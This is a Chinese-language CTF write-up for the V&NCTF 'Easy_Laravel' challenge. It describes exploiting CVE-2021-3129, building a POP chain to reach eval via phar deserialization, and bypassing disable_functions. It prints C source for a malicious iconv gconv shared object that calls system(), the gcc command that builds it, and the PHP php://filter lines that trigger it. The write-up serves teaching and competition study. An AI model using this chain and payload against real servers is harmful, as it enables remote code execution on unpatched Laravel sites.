CTF Web安全

V&NCTF Easy_Laravel Writeup

Posted on 2021-03-15,2 min read

[题目标题]:

Easy_laravel

[题目描述]:

简单的漏洞复现

[FLAG]:

动态FLAG

[题目考点]:

1. CVE-2021-3129复现
2. 挖掘laravel 8.22.0 POP链
3. bypass disable_function

[题目环境]:

1. ubuntu1~18.04.1
2. Apache/2.4.38
3. php:7.4.3-apache

[题目writeup]:

  1. 进入主页很明显是Laravel Debug Rce 。由于源码中对一些已公开的pop链做了修改。并且php版本为7.4没有assert、web目录只有session和log目录有写权限。需要自己挖一个eval的POP链。
图片

ImportConfigurator类的destruct方法可以跳转到__call

图片

HigherOrderMessage类的__call方法存在任意类的方法调用

图片

MockTrait类的generate方法存在eval调用。并且值可控

图片

然后就可以eval执行代码

  1. 写一个phar在logs下,一直调用phar反序列化。eval执行代码
图片
  1. 调用phpinfo()发现有disable_funciton和open_basedir,发现禁用其他函数。但是可以用global协议查看根目录
图片
图片
  1. 发现有/readflag。可以用伪协议触发iconv bypass disable_function

生成so

#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
  system("/readflag > /tmp/flag");
  exit(0);
}
gcc payload.c -o payload.so -shared -fPI
  1. 由于没办法同时传json和上传文件。所以得GET分N次写入so
图片

触发so。获取返回结果

file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/guoke',123);
file_get_contents('/tmp/file');
图片

下一篇: AntCTF x D^3CTF calc pool→